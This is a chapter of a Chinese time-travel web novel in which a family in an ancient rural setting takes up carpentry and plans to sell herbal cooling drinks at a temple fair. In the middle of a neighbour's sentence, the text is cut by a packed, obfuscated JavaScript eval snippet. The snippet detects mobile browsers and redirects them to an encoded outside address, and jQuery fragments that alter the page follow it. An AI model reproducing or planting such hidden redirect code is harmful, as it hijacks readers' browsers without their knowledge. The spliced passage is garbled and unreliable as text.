次日鸡鸣三遍时，崔弘收拾了一番，便与王仁结伴前往乡里张员外家。


    夯土院墙外早蹲了七八个匠人，领头的白须老汉正举着水牛角墨斗吆喝：“起正梁的麻利着！卯眼要凿七分三厘深——”


    崔弘摸着墙上潮痕直皱眉嘀咕道：“这夯土掺的稻草太多，得加糯米汁……”


    话一出口便知要糟。


    果然张家管事眯眼望来：“哟新来的？你懂营造？”


    崔弘：“咳咳……略懂些。”


    这倒不假——原身祖上确有点木作本事，崔五郎从族中搜罗了不少没人要的匠作记录，自学了点粗浅手艺。


    王仁赶忙上前向管事介绍崔弘的来历。


    管事掂了掂他递上的木雀，那是今晨崔棠塞给他的：“雕工倒是不错，好好干啊！”


    日头爬上椽子时，崔弘摸着冰凉的刨子恍神。从前工地里震耳欲聋的搅拌机声，渐渐化作凿卯的“笃笃”响。


    他望着飞溅的木屑轻笑：“甭管古今，养家糊口的道理倒是千古不变。”


    日头斜过竹梢时，崔家小院腾起炊烟。


    贺梅娘叉腰立在菜畦前，杏色襦裙沾着晨露：“棠儿快看！”


    她忽地蹲身刨土，十指翻飞如点钞，“这可是藿香！紫苏！野葛根......”


    崔棠拎着豁口木桶过来，水珠子顺着桶沿滚进泥地：“阿娘这架势，倒比抢超市特价白菜还利索。”


    说话间裙裾扫过野薄荷，惊飞几只碧色蚱蜢。


    三开间的正屋经崔弘修缮，檐角新补的茅草还透着青。东边一间柴房并灶屋那日倒是没有坍塌，稍稍修补足够日常使用。


    贺梅娘掰着指头清点家当：“藿香能炖鸡，紫苏腌脆李，野葛根磨粉......”


    “还能敷脸呢！”崔棠突然从野薄荷丛里蹦出来，脑门顶着片枯荷叶，“闻闻，比那波斯花露还醒神！”


    竹影摇曳里，母女俩笑声惊起一旁竹林里的山雀。


    “可惜了这好宅院。”崔棠捏着鼻子拎出粗陶溺壶，“茅房没有，粪桶倒有三个！”


    贺梅娘拈着藿香叶往她发髻簪：“等你阿耶挣够钱，叫他修个抽水马桶！”


    话音未落，竹丛里“扑棱棱”飞起只山鸡，惊得木桶滚进菜畦。


    日头西斜时，崔弘攥着工钱疾步归家。


    他摸出怀中油纸包着的雕胡饭，米香里混着槐叶清气：“管事赏的，说是长安传来的新炊法。”


    “铛啷”一声，崔弘又将钱串子拍在竹案上，面巾下透出亮晶晶的眸子：“还有县衙要征五十民夫修官道！”


    贺梅娘正捣着藿香叶，“咚”地杵臼砸歪三分：“那官道修的，比水牛犁地还磨人！”


    她指尖沾着青绿的汁液戳向崔弘额角，“你当自己是二十出头小伙？”


    崔弘一愣复又大笑：“我现在不正是年轻小伙么？”


    崔棠突然拍案：“阿耶，官道苦力最易中暑！”


    母女俩眼波一对，齐齐扑向墙角药篓：“咱们去卖解暑饮！”


    贺梅娘抓起把野葛根怔住：“《四时纂要》说配乌梅汁……”话到一半顿住——自己何时通晓了这些？


    “阿娘快瞧！”崔棠举着树枝在地上疾书，“后山梅子青还青着哩！待熟了咱们用竹筒灌了冰溪水——”


    她衣袂翻飞间，地面上赫然浮现个圆滚滚的狸奴，举着竹筒憨态可掬。


    崔弘摸着新得的工钱沉吟：“可以带去工地给大家伙试试，也不知合不合这些人的口味……”


    他突然瞪大眼：“棠棠你这什么？”


    “这叫招财猫！”崔棠蘸着水给狸奴点睛，“每日前五筒半价，保准让人抢破头！”


    她忽地想起往日里那些营销技巧，总有机会一一实践。


    三更梆子响过，崔弘还在就着月光劈竹筒。


    贺梅娘一边守着咕嘟冒泡的陶罐，一边盘算着家中用度。


    崔棠躺在竹榻上忽觉脑中清明，似乎十二年的记忆都已悄然融入她二十六岁的灵魂：上元节偷尝阿娘的槐花蜜，惊蛰日跟阿耶学认榫卯……


    晨光初绽时，崔弘便起身揣着竹筒踏上黄土路。


    金银花在筒中舒展腰肢，薄荷叶浮沉如碧玉小舟，那是贺梅娘昨夜精心熬制、添了薄荷的金银花水。


    “崔五郎来得好早！”张家管事正用犀角梳篦刮去衣领浮尘。


    此时日头渐高，暑气悄然弥漫。


    崔弘笑着递上竹筒：“张管事，这天愈发燥热，您且尝尝我家娘子熬煮的金银花水，里头添了紫苏、薄荷，喝来清爽得紧。”


    这话他在来的路上练习了许多遍，此刻开口心里还有些惴惴。


    张管事见崔弘递来竹筒，挑眉道：“这青竹筒倒是别致。”


    竹筒里清冽的液体晃出涟漪，管事轻啜一口，“噗！”他喷出金银花水，“怎地泛苦？”


    崔弘额角沁汗——原是昨夜梅娘太困手抖薄荷叶放多了三成。


    他正要告罪，却见管事咂嘴回味：“苦后回甘，倒是解暑良方！”


    他眼眸一亮，赞道：“崔五郎，你家娘子这手艺着实不错！这金银花水，饮之畅快。”


    崔弘笑着松了口气：“管事觉着好，便是万幸。”


    管事又饮了几口，才意犹未尽地将竹筒还予崔弘，说道：“三日后慈恩寺庙会，张员外放工半日，你等也可去凑凑热闹。”


    崔弘心中一动，忙不迭谢过管事。


    他心想，不如先去庙会支个摊子试试，今晚须得多做些竹筒。


    暮色染红竹林，崔棠捧着粗陶碗碎步疾行，邻家院墙内传来木杵捣衣声。


    “阿婶安好！”崔棠抬脚跨过门槛，碗中琥珀色的野菊薄荷竹蔗汤微微摇晃，“我娘新熬的甜水，给您和囡囡尝尝鲜。”


    周娘子甩着湿漉漉的衣袖起身，腕间绞丝银镯叮当作响：“棠娘来得正巧！”


    她朝西边甜瓜地努嘴：“你王叔摘瓜预备庙会支摊，倒把你家菜园子踩得东倒西歪。”


    崔棠余光瞥见院角堆着新鲜箬叶，心念微动：“是县里慈恩寺要办庙会吗？”


    “可不是！”周娘子接过陶碗喂给追蝴蝶的囡囡。


    “支摊容易得很，往功德


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117766|164202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    箱捐三文铜板，领个木牌就成。”


    她突然压低嗓音：“只是那看摊的慧明和尚……”话到一半被囡囡的欢呼打断。


    “甜！比周记糖铺的冰酪还甜！”小丫头举着空碗眼巴巴望来。


    崔棠指尖轻点她鼻尖：“明日再给你带。”


    她转身从袖中摸出画着狸奴的竹片问道：“阿婶瞧这招牌可使得？”


    周娘子摩挲竹片上憨态可掬的猫儿，突然“噗嗤”乐了：“当年我爹在米铺立招牌，请了三个画师都不如这灵性！”


    她目光扫过崔棠补丁摞补丁的襦裙，轻叹道：“你阿娘向来手艺好，如今肯抛头露面……”


    崔棠知道前身的阿娘许是大户人家出身，多少有些迂腐气，不愿出去挣钱。这转变瞒不了众人，得提前铺垫。


    “阿娘说日子总要过下去。”


    周娘子点头称是：“你们那族里早前日子过得去还能帮衬一二，如今看着只能靠自己个儿了！”


    “要我说啊，田地出息只能靠天吃饭，如今世道安稳，不如想法子给你挣些嫁妆。”


    崔棠没想到这周娘子竟还有些商业头脑，不愧是米铺老板家的长女，家学渊源，眼光果然与普通村妇不同。


    她顺势将话题扯到官道，“若是在修路处支摊卖些饮子给役夫……”


    “啪！”周娘子猛地击掌：“棠娘好灵醒！那官道役夫每日少说两百号人……”


    她看向正在地里摘瓜的王仁，“到时候我让你王叔也去卖甜瓜！”


    “只是要当心差役，须得备些''茶水钱''。”她眨眼补充道。


    现代思维的崔棠本就有心做些小本买卖，几个来回下来与周娘子聊得十分投机。


    她在心中速记着：卖货时辰、箬叶来处、打点关节……恨不得有本记事本子才好。


    炊烟初起时，崔弘扛着新砍的竹子归家。


    贺梅娘正守着瓦罐试新方，忽见丈夫扛了不少竹子闻道：“你又要修房子吗？”


    崔弘摇头：“三日后县里有庙会，我们停工半日，我想着多做些竹筒去卖饮子。”


    “看来阿耶今日试饮很顺利！”崔棠从灶后探出花猫似的脸，“我取了个吉名——双花饮镇邪，三清饮通神！”


    营销人的基因蠢蠢欲动，好名字是成功的第一步，只是不知古人吃不吃这一套。


    贺梅娘舀起勺汤水轻嗅：“金银花偏寒，得备些姜片……”话音戛止，另一只瓦罐里忽地腾起青烟，焦苦味瞬间弥漫。


    “火候过了！”崔棠抢过蒲扇猛扇，但已无力回天，这罐汤只剩个锅底在呲呲冒烟。


    “这破瓦罐煮汤火候不好控制，一不留神就烧干了，总不能一直这样守着吧？”贺梅娘抱怨道。


    崔弘也深有同感：“这灶也不行，要真正经做这营生，柴怕是不够用。”


    说到这他忽然脑中一个念头闪过，却没来得及抓住。


    三更梆响，崔家小院进入梦乡。


    只有崔棠还就着月光伏案刻画竹牌，忽听院墙外传来木柴滚落的声音。


    “最近怎么野猫这么多？”她嘟囔着。